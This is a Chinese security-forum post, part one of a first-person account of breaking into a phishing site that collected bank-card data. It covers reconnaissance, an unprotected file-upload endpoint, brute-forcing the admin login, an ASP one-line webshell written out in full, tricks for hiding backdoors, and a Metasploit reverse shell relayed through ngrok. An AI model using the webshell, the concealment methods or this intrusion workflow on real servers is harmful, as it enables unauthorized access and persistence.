安全矩阵

 找回密码
 立即注册
搜索
查看: 2158|回复: 0

记一次拿下网络诈骗者站点的全过程与套路分析 (上)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-21 21:36:49 | 显示全部楼层 |阅读模式
原文链接:记一次拿下网络诈骗者站点的全过程与套路分析

这是一则漫长又跌宕起伏的故事,篇幅稍长,小伙伴们请随意就坐,自备茶点;全文包含信息收集与攻克的详细全过程,以及从骗子的第一视角,对该类型诈骗思路的分析拆解,以提高防范意识;
0x00 梦的开始
那是一个阳光明媚的晌午,日常的搬砖过程中收到一封公司邮件,

看到这熟悉的措辞,又瞄了一眼下面的附件内容,熟悉的气息扑面而来,就顺手保存了下来;

随即管理员立马发现了不对劲,追发邮件说员工账号被盗用,不要轻信邮件内容,原始邮件也被标为垃圾邮件(上次的类似邮件删的太突然,事情还没开始就结束了,这次总跑不掉了( ̄_, ̄ ),作为当代好青年,五星好市民,是时候发扬一下活雷锋精神了);
而这张图片,就成了一切梦开始的地方……
0x01 信息收集0x001 审查域名起始信息非常有限,开局一张图,剧情全靠猜,不过这个入口也足够了,先拿出家伙解析下二维码中的信息:

没有额外的数据,只有一串网页链接,看着这域名名称,嘴角微微上扬;先去解析一下域名:

到写文为止已经不能解析该域名了,整顿的倒挺快,不过好在之前有解析备份,域名万变不离其IP,并且也没有发现使用 CDN,流量全部通往源站;顺手查了一下,是香港的服务器:

然后whois 一下,搜集相关信息:

不出意外,又是用的三方注册机构,没有额外的有用信息,不过这个注册时间挺有意思,本月的,骗子同志动作还蛮快的;接下来只能去对方网站瞅瞅;

又是西部数码,看来有些备受青睐,网站提供隐私保护机制,注册信息不对外公开,暂时也获取不到有用信息;
0x002 审查 IP现在唯一的线索就是之前解析的那个 IP 了,一步一步来,先nmap 扫一波端口服务先,收集更多信息:

嗯还行,看见了几个熟悉的身影,继续走流程,分别跑下默认脚本分析下端口服务信息:

没有探测倒匿名 ftp,http 支持TRACE,没有设httponly,有执行XSS 的机会,小本本先记下;然后老规矩,默认字典定向爆破一轮先,尝试还是要有的,万一那啥了呢:

剩余端口也都试了,意料之中,没啥收获,看来基本的密码强度意识还是有的;另外之前的扫描扫描中有出现8888 这个端口,记得这个是服务器管理工具宝塔面板的默认后台入口,访问一下试试:

有入口校验,起码证明确实是用的宝塔面板,不过这个爆破应该是不可能去爆破的,记得入口 url 后缀默认大概是 8 位任意大小写字母与数字的组合,就是 62 的 8 次方,大约两百万亿,就挺秃然的,先放在后面再说吧,接下来,继续转战其他方向;
​​
0x003 审查页面来都来了,既然扫码是跳转页面链接,并且端口也开放了 80 和 443,当然要打开网页访问一下康康,同时开启开发者工具,看看有啥小动作:

哎呀,还识别机型,这靶向用户还挺明确,那就切成移动端看看:

emm……怎么说呢,有那味儿了,咋一看还真看不出来,模仿的还挺全(不过胆也确实大,政府网站都搞),然后看了下接口返回的头信息,发现使用的WindowsIIS7.5+ASP.NET 的服务:

这个先记着,后面漏洞挖掘用得着,后面试了一圈发现页面都是空壳,只有那个办理入口的弹窗能跳转,跳转页面是:

描述的还挺全,好让大家都能对号入座,这里点下立即申请:

然后就开始了个人信息收集的一条龙服务,先是姓名和身份证号,另外,注意看旁边显示加载的 PNG 头图的名称,额难道这是开发者的疯狂暗示??这里随便输入条信息进去看看:

居然还有校验,打个断点看看源码逻辑:

一个号码校验都整的这么齐全,还真是费心了,不过前端的校验都是纸老虎,这里也不用什么偏方了,直接用开发者工具的源码编辑覆盖功能,直接给校验函数返回true:

然后校验通过,进入下一个步骤:

这里是要收集银行卡号和密码以及绑定的手机号,唉,意图很明显,哪有打款转账还要对方密码的操作,这里也准备随便填下,银行卡校验用同样的方法绕过一下,不过在其中一个加载的脚本文件中发现了有意思的东西:

开发者连源码中的调试数据都不删除,调的阿里支付的接口,正好借对方调试账号用一下下(再次证明了作为开发者,生产环境中代码移除注释的重要性=_=):

然后进入了下一个页面,再次收集姓名和证件号,以及银行卡余额(这里应该是对用户真实情况进行摸底以及其他未知操作),下意识查了自己的余额,唉果然这里连撒谎的勇气都没有 T_T,马上填完进入下一步吧:


然后页面会一直加载不断刷新,再无其他跳转,应该是给诈骗者提供操作的时间,那么网页的相关操作就暂时告一段落,大致了解了一些操作步骤,接下来探索一下其他方向;
​​
0x02 漏洞挖掘0x001 SQL 注入信息收集差不多了,现在来逐个击破,先从最熟悉的网页端入手,前面审查页面时有不少提交表单和输入框,这些都是潜在的攻破点;挖掘技术哪家强,先祭出神器Burp,拦截一下之前提交银行卡号密码的表单数据:

然后对字段值进行简单注入尝试,检查报错信息:

没反应,应该是有基础校验,再换个:

有反应,似乎看到了希望,虽然返回乱码了,应该是对方程序处理问题,不过看句式像是 SQL 报错,又接连试了几个,也是同样的返回,那么剩下的冗杂工作,就交给工具进行吧,掏出sqlmap 跑一波:

后面换了几轮参数也没成功,应该是过滤机制比较周到,然后在测试另一个页面时,才发现了那段报错信息的原本含义:

嗯还是太年轻,会错意了,应该是程序识别到了字段值中的 SQL 关键字;另外回想起之前扫描到服务可能隐含TRACE 相关漏洞,测试了下,应该是服务端暂未支持:

然后又想了想,针对密码字段进行数据库表字段设计时,应该会考虑其字符位数低的特点,减少空间占用,因为这是银行卡密码,都知道是 6 位数字,这里传个大数看看有没有惊喜:

尴尬,是有惊无喜,应该是没有特别处理,直接反馈为服务端错误;后面又陆续换了几个页面,测试下来都没太大收获,场面又一度陷入僵局,只能又暂时转移战场;
0x002 Metasploit 渗透终于到Metasploit 出场了,蓄势待发,

先搜一下 IIS 的已知漏洞:

有不少,那就先调几个条件匹配的试一波,这里只放个示例,就不一一展示了:

然后就是其他几个端口、服务,挨个测试一遍,也没有什么突破,看来补丁都打的挺全;目前又暂时陷入了死胡同,虽然 msf 还有不少模块可以利用,不过暂时不准备继续深入试探了,因为想起来还有另外一件重要的事情还没做;
0x003 站点目录枚举站点目录扫描,这件重要的事怎么能少得了,可供选择的工具很多,如dirbuster 等,这里我们使用BurpSuite 的Engagementtools 里的Discoverycontent 工具,进行目录爆破:


其内置的大量字典已经足够使用了,不过涉及网络请求,这个过程也是异常漫长,不过可以后台跑着,不影响做其他事,这里就直接贴一个扫描结果:

直呼好家伙!不扫不知道,出来吓一跳,居然错过了这么多隐藏入口,小本本记下先,后续挨个探索,不过呢视线情不自禁地锁定到了名为upload.asp 这个文件上,开发者这么明显的暗示就无需我多言了(ㄟ( ▔, ▔ )ㄏ);

直接访问没什么返回数据,难道是方法不对?换成POST 表单文件数据再试试:

看来这样上传也没用,也许还要额外的校验参数之类的,上面不是刚扫了一堆没见过的页面嘛,现在回过头去挨个分析下页面源码看看,也许会有收获:

果然,在其中一个页面中,发现了调用这个上传接口的表单,是个隐藏元素,结合页面内容,应该是用于收集用户上传的某些证件信息,身份证照片之类的,然后看了对应的 js 源码,果然存在一些校验和接口参数:


这里去分析调用这些函数再上传文件太费劲了,这不是个隐藏表单嘛,直接改下代码通过 UI 操作多轻松 (¬‿¬):

样子虽然简陋了点,管他的,能跑起来就行了,上传个文件试试:

然后再访问看看效果:

好家伙,大写的激动!嘴角再度微微上扬,不过先冷静下,再试试有没有文件类型校验,服务是ASP.NET 的,那就简单传个 asp 程序试试,下面的代码会在页面输出站点运行服务的名称:
  •         <% response.write(Request.ServerVariables("SERVER_SOFTWARE")) %>

然后上传上去看看:

这……俺还能说什么呢,此时无声胜有声$_$ ,不过这并不是终点,这只是一个良好的起点,一切才刚刚开始 (¬‿¬);
​​
0x004 意外收获其实网站目录中还有一个很让人在意,就是叫jieliuzi 这个目录,虽然摸透了对象开发者喜欢汉语拼音命名的习惯,但是这个含义始终未能参透,连蒙带猜外加输入法都未得其解,甚至后面进去一探究竟后没没想明白=_=,中华文化真是博大精深;不管了,看看页面访问结果:

是个登录页,十分简洁,而且这其实是个 PC 站点页,骗子在某些方面也挺有情调的,这里不作展示是由于整图过于刺激(怎么说呢,额,这登录框真白),怕过不了审;另外,注意一下这个网页最上面的标题名,第一反应就是应该不会是简单的字面意思,听着也不像啥好词儿,为此专门去百度了一下:


em……又长见识了,原来诈骗也能是一门学问,再结合最开始那张二维码的来源(企业邮件),看来是这么个意思了,大家平时也都注意警惕一下;
随后试了下登录,没有验证码或超时超次数验证这些,并且也没挖掘到可利用的 SQL 注入点,这种情况就该Burp 的Intruder 出场了,后台登录名一般都是admin,密码就祭出rockyou.txt 跑一波先:


这也是一个比较漫长的过程,不过一会儿之后再去看的时候就发现了变化:

需要留心的就是这里的返回数据长度,因为正常讲大部分试的密码都是错误的,服务器响应的数据大小也都是一样的,突然出现不一样的长度多半就出现了转机,这里看来是识别出了 sql 语句,和之前一样报错,然后看最上面那条:

整个列表中就这一条最特别,看返回也是 302 重定向,看来应该是密码对了跳转进页面了,然后看这密码,也是够随意的,看着简单,猜的时候谁又能想到呢,登录进去看看:


……,唉,怎么说呢,应该是触目惊心吧,虽然数量没有一些媒体平台时不时报道那些的那么夸张,但也不是一个小数目了,而且每一处记录的银行卡账号、密码、身份证号、手机号、验证码、IP位置这些,都是近乎真实的;我不是正义的制裁者,也没有多少执行正义的力量,最多就热心的帮他们删个库再跑路,个人的力量太小了,所以这些还是都后面交给警察蜀黍处理吧,正义可能会迟到,但不会缺席。
​​
0x03 获取权限0x001 Get webshell暂时先抛开题外话,上面进行到了文件上传这一步,文件上传可以意味着很多事情,可执行文件的上传便可以实现获取服务器的系统操作权限,当然这里的网页应用程序的相关权限一版很低,提权的事就是后话了;当前任务是拿下网站操作权限,即webshell,继续走流程,先上传个简单的 asp 版一句话木马
  •         <% execute(request("pass")) %>

然后就该 亮剑 了:



搞定,进去康康:

文件相关操作:


数据库相关操作(对应之前后台页面的展示数据):

命令行终端相关操作:

甚至获取 Windows 系统信息:

好了,这不啥都有了,还要啥自行车,但也不能止步于此,虽然现在拥有了对这整个站点的操作权限,包括文件及数据库的增删改查等,但也不至于为了正义用爱发电,每日蹲点删库删站,我们的目标还在山的那边 (ง •_•)ง
​​
0x002 Backdoor俗话讲,要生于忧患,虽然现在入口打通了,但是凡事都要留一手(我更喜欢留多手),防止木马那天被管理员察觉并清理就尴尬了,所以找几个隐蔽的位置,再上传几个,比如平时几乎不被注意的 css 或图片等静态资源文件夹,js 库文件等,文件命名上也可以花点心思,模仿已有文件或者配置文件之类的,使人有一种一眼看上去是正常文件的幻觉(+_+);

当然,还可以利用一种技术,简单讲就是 Windows 中我们熟知的隐藏文件,一般一些软件或系统的配置文件会通过这样的方式隐藏,防止普通用户误删改,查看也能简单,像下面这样勾选一些就都出来了:

所以我们这里可以通过 shell 命令把指定文件隐藏掉,使得其不会被轻易发现:

0x003 Get shell目前我们获取到的还只是webshell,虽然可以模拟执行终端命令,但是这些都是通过上传的 asp 后门程序执行的,就是说每步操作都会发起 http 请求,防止被平台记录,需要获取系统shell,即上传系统可执行文件(如.exe 文件,就是俗称的木马),至于如何生成,就需要metasploit 再次登场了;
这里又涉及一些东西,getshell 的木马一般有两种,正向连接和反向连接,基础的认知可能是将程序上传至机器,然后运行就会后台监听某个端口,等待外部的连接,连上后就可以通过两端的交互达到控制系统,当然前提是系统防火墙没开或者允许该端口放行,而通常服务器都会开启防火墙并过滤端口,只放行指定的几个;
所以后面出现了第二种类型,反向连接,或者叫反弹 shell,简单讲就是第一种类型反转一下,不是目标机器等待我们连,而是我们外部的机器等待目标机器来连接,这解决了防火墙端口的限制,因为防火墙一般不会特意去限制出站端口,当然这种类型又增加了额外的限制,首先我们需要一台具有公网 IP 的机器,像平常这种连着 WiFi, 深埋于 n 层路由下的设备,基本可以放弃了(使用端口转发也需要运营商提供公网 IP),另外就是需要目前机器可访问公网,因为有些服务器考虑安全因为是在内外下的,用反向代理等方式传输流量,无法访问外网;
由于不清楚对方防火墙情况,先用反向连接看看,手边暂时没有公网机器,就先用ngrok 转发一下端口流量,先启动服务:

从之前收集的数据中得知,对方机器是 x64 Windows 系统,那么这里就直接用msfvenom 生成对应的payload(暂时先不考虑加密加壳这些,传上去看看是否被杀毒再说):

reverse_tcp 是反向连接,bind_tcp 是正向连接,连接地址填 ngrok 提供的链接,端口填链接对应的,然后生成执行文件,最后上传到对方站点某个隐蔽的目录下:


然后在 msf 中启动监听程序,等待对方连接,地址填本地,端口填之前 ngrok 中设定的本地端口,使用的 pyaload 要和之前msfvenom 中配置的一致,不然会连接失败;完成后,一旦目标上的程序启动,首先就会访问 ngrok 域名和对应端口,ngrok 服务再把传输数据转发到本地的监听端口中,数据就通过这一层中介进行双向传输:

然后在 webshell 中执行它:


运行成功,这是切换回 msf 一会后就会有所反应,表示连接成功:

现在再查看 ngrok 服务就回显示有一条连接,表示可以进行通信了:

现在连接成功进入的操作界面是meterpreter,这是metasploit 提供的有许多拓展功能的集成终端,类似于 cmd、shell,但是功能更强大,可以执行切换目录、获取系统信息、操作进程、上传下载文件、进一步渗透等操作,甚至在拿下 system 权限后,还能解锁控制鼠标键盘、屏幕截图或实时预览等高级功能,这里先查询下基础信息:

和之前的虚拟终端一样,当前操作用户是 IIS,当然这里想用 cmd 终端操作也是可以的,执行下shell 命令进入系统shell,操作和命令与系统命令提示符没有两样:

初次进入可能会出现中文字符乱码情况,因为 cmd 默认使用的字符集问题,手动切换成 UTF-8 的 65001 就行了,可能唯一不太方便的地方,就是没有集成历史记录的功能,要重试上个命令得全部重打一遍,毕竟是网络转发数据,不应要求太多:


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 08:19 , Processed in 0.025662 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表